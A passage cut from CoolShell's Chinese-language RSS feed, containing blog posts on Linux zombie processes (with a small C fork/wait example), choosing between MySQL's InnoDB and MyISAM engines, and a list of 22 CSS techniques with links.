class=\"wp_rp_title\">Web开发人员速查卡</a></li><li ><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/1.jpg\" alt=\"九个PHP很有用的功能\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/2394.html\" class=\"wp_rp_title\">九个PHP很有用的功能</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/664.html\">使用PHP的cURL库</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/664.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>12</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linux 的僵尸(zombie)进程</title>\n\t\t<link>https://coolshell.cn/articles/656.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/656.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Sat, 25 Apr 2009 07:28:42 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[操作系统]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<category><![CDATA[zombie]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=656</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>可能很少有人意识到，在一个进程调用了exit之后，该进程 并非马上就消失掉，而是留下一个称为僵尸进程（Zombie）的数据结构。在Linux进程的5种状态中，僵...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/656.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/656.html\">Linux 的僵尸(zombie)进程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>可能很少有人意识到，在一个进程调用了exit之后，该进程 并非马上就消失掉，而是留下一个称为僵尸进程（Zombie）的数据结构。在Linux进程的5种状态中，僵尸进程是非常特殊的一种，它已经放弃了几乎所 有内存空间，没有任何可执行代码，也不能被调度，仅仅在进程列表中保留一个位置，记载该进程的退出状态等信息供其他进程收集，除此之外，僵尸进程不再占有 任何内存空间。</p>\n<p>僵尸进程的来由，要追溯到Unix，Unix的设计者们设计这个东西并非是因为闲来无事想装装酷什么的。上面说到，僵尸进程中保存着很多对程序员和系统管理员非常重要的信息，首先，这个进程是怎么死亡的？是正常退出呢，还是出现了错误，还是被其它进程强迫退出的？也就是说，这个程序的退出码是什么？其次，这个进程占用的总系统CPU时间和总用户CPU时间分别是多少？发生页错误的数目和收到信号的数目。这些信息都被存储在僵尸进程中，试想如果没有僵尸进程，进程执行多长我们并不知道，一旦其退出，所有与之相关的信息都立刻都从系统中清除，而如果此时父进程或系统管理员需要用到，就只好干瞪眼了。</p>\n<p><span id=\"more-656\"></span></p>\n<p>所以，进程退出后，系统会把该进程的状态变成Zombie，然后给上一定的时间等着父进程来收集其退出信息，因为可能父进程正忙于别的事情来不及收集，所以，使用Zombie状态表示进程退出了，正在等待父进程收集信息中。</p>\n<p>Zombie进程不可以用kill命令清楚，因为进程已退出，如果需要清除这样的进程，那么需要清除其父进程，或是等很长的时间后被内核清除。因为Zombie的进程还占着个进程ID号呢，这样的进程如果很多的话，不利于系统的进程调度。</p>\n<p>下面，让我们来看看一个示例：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n/* zombie.c */\n#include &lt;sys/types.h&gt;\n#include &lt;unistd.h&gt;  main()\n{\n    pid_t pid; \n    pid=fork();\n    if(pid&lt;0) { /* 如果出错 */ \n        printf(&quot;error occurred!\\n&quot;);\n    }else if(pid==0){ /* 如果是子进程 */ \n        exit(0);\n    }else{  /* 如果是父进程 */ \n        sleep(60);  /* 休眠60秒 */ \n        wait(NULL); /* 收集僵尸进程 */\n    }\n}\n\n</pre>\n<p>编译这个程序：</p>\n<p><code data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ cc zombie.c -o zombie</code></p>\n<p>后台运行程序，以使我们能够执行下一条命令</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">\n$ ./zombie &amp;\n[1] 1217\n</pre>\n<p>列一下系统内的进程</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"5\">\n$ ps -ax\n... ...\n1137   pts/0   S   0:00   -bash\n1217   pts/0   S   0:00   ./zombie\n1218   pts/0   Z   0:00   [zombie]\n1578   pts/0   R   0:00   ps   -ax\n</pre>\n<p>其中的&#8221;Z&#8221;就是僵尸进程的标志，它表示1218号进程现在就是一个僵尸进程。</p>\n<p>收集Zombie进程的信息，并终结这些僵尸进程，需要我们在父进程中使用waitpid调用和wait调用。这两者的作用都是收集僵尸进程留下的信息，同时使这个进程彻底消失。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/12/eBPF-150x150.jpeg\" alt=\"eBPF 介绍\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22320.html\" class=\"wp_rp_title\">eBPF 介绍</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/12/docker-networking-1-150x150.png\" alt=\"记一次Kubernetes/Docker网络排障\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18654.html\" class=\"wp_rp_title\">记一次Kubernetes/Docker网络排障</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2016/07/cache-150x150.png\" alt=\"缓存更新的套路\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17416.html\" class=\"wp_rp_title\">缓存更新的套路</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/656.html\">Linux 的僵尸(zombie)进程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/656.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>9</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>MySQL: InnoDB 还是 MyISAM?</title>\n\t\t<link>https://coolshell.cn/articles/652.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/652.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 24 Apr 2009 06:33:09 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术读物]]></category>\n\t\t<category><![CDATA[数据库]]></category>\n\t\t<category><![CDATA[Database]]></category>\n\t\t<category><![CDATA[InnoDB]]></category>\n\t\t<category><![CDATA[MyISAM]]></category>\n\t\t<category><![CDATA[MySQL]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=652</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>MyISAM 是MySQL中默认的存储引擎，一般来说不是有太多人关心这个东西。决定使用什么样的存储引擎是一个很tricky的事情，但是还是值我们去研究一下，这里...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/652.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/652.html\">MySQL: InnoDB 还是 MyISAM?</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>MyISAM 是MySQL中默认的存储引擎，一般来说不是有太多人关心这个东西。决定使用什么样的存储引擎是一个很tricky的事情，但是还是值我们去研究一下，这里的文章只考虑 MyISAM 和InnoDB这两个，因为这两个是最常见的。</p>\n<p>下面先让我们回答一些问题：</p>\n<ul>\n<li>你的数据库有外键吗？</li>\n<li>你需要事务支持吗？</li>\n<li>你需要全文索引吗？</li>\n<li>你经常使用什么样的查询模式？</li>\n<li>你的数据有多大？</li>\n</ul>\n<p><span id=\"more-652\"></span></p>\n<p>思考上面这些问题可以让你找到合适的方向，但那并不是绝对的。如果你需要事务处理或是外键，那么InnoDB 可能是比较好的方式。如果你需要全文索引，那么通常来说 MyISAM是好的选择，因为这是系统内建的，然而，我们其实并不会经常地去测试两百万行记录。所以，就算是慢一点，我们可以通过使用Sphinx从InnoDB中获得全文索引。</p>\n<p>数据的大小，是一个影响你选择什么样存储引擎的重要因素，大尺寸的数据集趋向于选择InnoDB方式，因为其支持事务处理和故障恢复。数据库的在小决定了故障恢复的时间长短，InnoDB可以利用事务日志进行数据恢复，这会比较快。而MyISAM可能会需要几个小时甚至几天来干这些事，InnoDB只需要几分钟。</p>\n<p>您操作数据库表的习惯可能也会是一个对性能影响很大的因素。比如： COUNT() 在 MyISAM 表中会非常快，而在InnoDB 表下可能会很痛苦。而主键查询则在InnoDB下会相当相当的快，但需要小心的是如果我们的主键太长了也会导致性能问题。大批的inserts 语句在MyISAM下会快一些，但是updates 在InnoDB 下会更快一些——尤其在并发量大的时候。</p>\n<p>所以，到底你检使用哪一个呢？根据经验来看，如果是一些小型的应用或项目，那么MyISAM 也许会更适合。当然，在大型的环境下使用MyISAM 也会有很大成功的时候，但却不总是这样的。如果你正在计划使用一个超大数据量的项目，而且需要事务处理或外键支持，那么你真的应该直接使用InnoDB方式。但需要记住InnoDB 的表需要更多的内存和存储，转换100GB 的MyISAM 表到InnoDB 表可能会让你有非常坏的体验。</p>\n<p style=\"display: none;\"><img decoding=\"async\" loading=\"lazy\" style=\"display: none; width: 0px; height: 0px; border-style: none;\" src=\"http://blog.inetu.net/wp-content/plugins/wp-spamfree/img/wpsf-img.php\" alt=\"\" width=\"0\" height=\"0\" /></p>\n<p style=\"display: none;\">文章：<a href=\"http://blog.inetu.net/2009/04/mysql-innodb-or-myisam/\" target=\"_blank\">来源</a></p>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/1846.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2009/11/unoptimized_explain-150x150.jpg\" alt=\"MySQL性能优化的最佳20+条经验\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/1846.html\" class=\"wp_rp_title\">MySQL性能优化的最佳20+条经验</a></li><li ><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/06/f1-150x150.jpg\" alt=\"性能调优攻略\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7490.html\" class=\"wp_rp_title\">性能调优攻略</a></li><li ><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/05/overview2-1-150x150.png\" alt=\"NoSQL 数据建模技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7270.html\" class=\"wp_rp_title\">NoSQL 数据建模技术</a></li><li ><a href=\"https://coolshell.cn/articles/5826.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/26.jpg\" alt=\"千万别用MongoDB？真的吗？！\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5826.html\" class=\"wp_rp_title\">千万别用MongoDB？真的吗？！</a></li><li ><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg\" alt=\"Quora使用到的技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4939.html\" class=\"wp_rp_title\">Quora使用到的技术</a></li><li ><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"开源中最好的Web开发的资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4795.html\" class=\"wp_rp_title\">开源中最好的Web开发的资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/652.html\">MySQL: InnoDB 还是 MyISAM?</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/652.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>95</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>22个不错的CSS技术</title>\n\t\t<link>https://coolshell.cn/articles/648.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/648.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 23 Apr 2009 16:13:30 +0000</pubDate>\n\t\t\t\t<category><![CDATA[Web开发]]></category>\n\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[CSS]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=648</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>我们可以CSS 干很多很多相当不错的事情，你应该知道如何做这些事情。下面列出了一些你必需要知道的用CSS技术，点击链接，你可以看到相关教程。这个技术相当值得你去...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/648.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/648.html\">22个不错的CSS技术</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>我们可以CSS 干很多很多相当不错的事情，你应该知道如何做这些事情。下面列出了一些你必需要知道的用CSS技术，点击链接，你可以看到相关教程。这个技术相当值得你去学习。</p>\n<h4>1. <a title=\"css imagepop\" href=\"http://mikecherim.com/experiments/css_map_pop.php\" target=\"_blank\"><span style=\"color: #9e0b0e;\">CSS 地图</span></a></h4>\n<p><a href=\"http://green-beast.com/experiments/css_map_pop.php\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-81\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/image-maps.jpg\" alt=\"image-maps\" width=\"550\" height=\"300\" /></span></a><br />\n<span id=\"more-648\"></span></p>\n<h4>2. <a href=\"http://moneytreesystems.com/css/picpopup.html\" target=\"_blank\"><span style=\"color: #9e0b0e;\">Css 缩略图 Pop up</span></a></h4>\n<p><span style=\"text-decoration: underline;\"><a href=\"http://moneytreesystems.com/css/picpopup.html\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-82\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/image-pops.jpg\" alt=\"image-pops\" width=\"550\" height=\"300\" /></span></a></span></p>\n<h4>3. <a href=\"http://webdesign.about.com/od/examples/l/blopacity.htm\" target=\"_blank\"><span style=\"color: #9e0b0e;\">CSS 3 透明示例</span></a></h4>\n<p><a href=\"http://webdesign.about.com/od/examples/l/blopacity.htm\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-83\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/opacity.jpg\" alt=\"opacity\" width=\"550\" height=\"300\" /></span></a></p>\n<h4>4.<a href=\"http://www.stunicholls.myby.co.uk/\" target=\"_blank\"><span style=\"color: #9e0b0e;\"> 漂亮的半透明菜单</span></a></h4>\n<p><a href=\"http://www.stunicholls.myby.co.uk/\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-84\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/css-transparent-menus.jpg\" alt=\"css-transparent-menus\" width=\"550\" height=\"300\" /></span></a></p>\n<h4>5. <a href=\"http://meyerweb.com/eric/css/edge/complexspiral/demo2.html\" target=\"_blank\"><span style=\"color: #9e0b0e;\">又一个半透明的菜单</span></a></h4>\n<p><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-85\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/transparent-menu.jpg\" alt=\"transparent-menu\" width=\"550\" height=\"300\" /></span></p>\n<h4>6.<a href=\"http://pooliestudios.com/projects/iconize/\" target=\"_blank\"><span style=\"color: #9e0b0e;\"> 带图标的链接 </span></a></h4>\n<p><a href=\"http://pooliestudios.com/projects/iconize/\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-86\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/image-cues.jpg\" alt=\"image-cues\" width=\"550\" height=\"300\" /></span></a></p>\n<h4>7. <a href=\"http://www.cssplay.co.uk/menu/scrollmap\" target=\"_blank\"><span style=\"color: #9e0b0e;\">图片滚动</span></a></h4>\n<p><a href=\"http://www.cssplay.co.uk/menu/solar_map\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-87\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/scrolling-imagemap.jpg\" alt=\"scrolling-imagemap\" width=\"550\" height=\"300\" /></span></a></p>\n<h4>8. <a href=\"http://www.cssplay.co.uk/menu/solar_map\" target=\"_blank\"><span style=\"color: #9e0b0e;\">图片地图</span></a></h4>\n<p><a href=\"http://www.cssplay.co.uk/menu/solar_map\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-88\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/earth-css-image.jpg\" alt=\"earth-css-image\" width=\"550\" height=\"300\" /></span></a></p>\n<h4>9.<a href=\"http://www.picment.com/articles/css/funwithforms/\" target=\"_blank\"><span style=\"color: #9e0b0e;\"> CSS 表单背景</span></a></h4>\n<p><a href=\"http://www.picment.com/articles/css/funwithforms/\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-89\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/form.jpg\" alt=\"form\" width=\"550\" height=\"300\" /></span></a></p>\n<h4>10.<a href=\"http://www.digital-web.com/articles/redesigning_ebay_registration/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">表单重构设计 </span></a></h4>\n<h4><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-92\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/form-redesign.jpg\" alt=\"form-redesign\" width=\"550\" height=\"300\" /></span></h4>\n<h4>11. <a href=\"http://www.alistapart.com/articles/prettyaccessibleforms\" target=\"_blank\"><span style=\"color: #9e0b0e;\">表单风格</span></a></h4>\n<h4><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-93\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/css-techniques0024.gif\" alt=\"css-techniques0024\" width=\"485\" height=\"170\" /></span></h4>\n<h4>12. <a href=\"http://lipidity.com/fancy-form/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">表单检查</span></a></h4>\n<p><a href=\"http://lipidity.com/fancy-form/\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-94\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/fancy-check-boxes.gif\" alt=\"fancy-check-boxes\" width=\"550\" height=\"300\" /></span></a></p>\n<h4>13. <a href=\"http://www.badboy.ro/articles/2007-01-30/niceforms/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">漂单的表单</span></a></h4>\n<h4><a href=\"http://www.badboy.ro/articles/2007-01-30/niceforms/\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-95\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/personal.gif\" alt=\"personal\" width=\"550\" height=\"300\" /></span></a></h4>\n<h4>14. <a href=\"http://www.cssnewbie.com/css-only-accordion/\"><span style=\"color: #9e0b0e;\">CSS 折叠式导航</span></a></h4>\n<p><a href=\"http://www.cssnewbie.com/css-only-accordion/\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-96\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/accordian.gif\" alt=\"accordian\" width=\"550\" height=\"300\" /></span></a></p>\n<h4>15. <a href=\"http://www.icebrrg.com/public/howto.aspx\" target=\"_blank\"><span style=\"color: #9e0b0e;\">ice Brrg 在线表单生成器<br />\n</span></a></h4>\n<h4><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-97\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/icebrrg.gif\" alt=\"icebrrg\" width=\"550\" height=\"300\" /></span></h4>\n<h4>16. Jot Form (一个在线的表单创建网站)</h4>\n<h4><a href=\"http://www.jotform.com/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-98\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/jot-forms.gif\" alt=\"jot-forms\" width=\"550\" height=\"300\" /></a></h4>\n<h4>17. <a href=\"http://wufoo.com/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">Wufoo (相当不错的风格)</span></a></h4>\n<h4><a href=\"http://wufoo.com/\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-99\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/wufoo.gif\" alt=\"wufoo\" width=\"550\" height=\"300\" /></span></a></h4>\n<h4>18. <a href=\"http://www.formsite.com/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">表单站点生成器</span></a></h4>\n<h4><a href=\"http://www.formsite.com/\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-100\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/formsite.gif\" alt=\"formsite\" width=\"550\" height=\"300\" /></span></a></h4>\n<h4>19. <a href=\"http://www.formlogix.com/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">Form logix </span></a></h4>\n<p><a href=\"http://www.formlogix.com/\"><span style=\"color: #9e0b0e;\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-101\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/form-logix.gif\" alt=\"form-logix\" width=\"550\" height=\"300\" /></span></a></p>\n<h4>20. <a href=\"http://www.highdots.com/css-tab-designer/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">免费的CSS tab 页设计者</span></a></h4>\n<p>CSS Tab 页设计者是一个独特和容易的软件帮助你设计你的CSS TAB页，完全可视化的设计，不需要任何的CSS或编程的知识。</p>\n<h4><a href=\"http://www.highdots.com/css-tab-designer/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-102\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/tabgenerator.gif\" alt=\"tabgenerator\" width=\"550\" height=\"300\" /></a></h4>\n<h4>21. Just style</h4>\n<p>JustStyle CSS 编辑器是一个有完整功能的，易用的软件，其可以非常容易的设计CSS风格。</p>\n<p><a href=\"http://ucware.com/juststyle/index.htm\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-103\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/just-style.gif\" alt=\"just-style\" width=\"550\" height=\"300\" /></a></p>\n<h4>22. <a href=\"http://www.andrewsellick.com/examples/tabslideV2/\" target=\"_blank\"><span style=\"color: #9e0b0e;\">滑动式Tab页</span></a></h4>\n<h4><a href=\"http://www.andrewsellick.com/examples/tabslideV2/\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-104\" src=\"http://www.antsmagazine.com/wp-content/uploads/2009/02/sliding-tab.gif\" alt=\"sliding-tab\" width=\"550\" height=\"300\" /></a></h4>\n<p><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/01/pretty-code-150x150.gif\" alt=\"Chrome开发者工具的小技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17634.html\" class=\"wp_rp_title\">Chrome开发者工具的小技巧</a></li><li ><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/05/Render-Process-150x150.jpg\" alt=\"浏览器的渲染原理简介\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9666.html\" class=\"wp_rp_title\">浏览器的渲染原理简介</a></li><li ><a href=\"https://coolshell.cn/articles/6913.html\" class=\"wp_rp_thumbnail\"><img 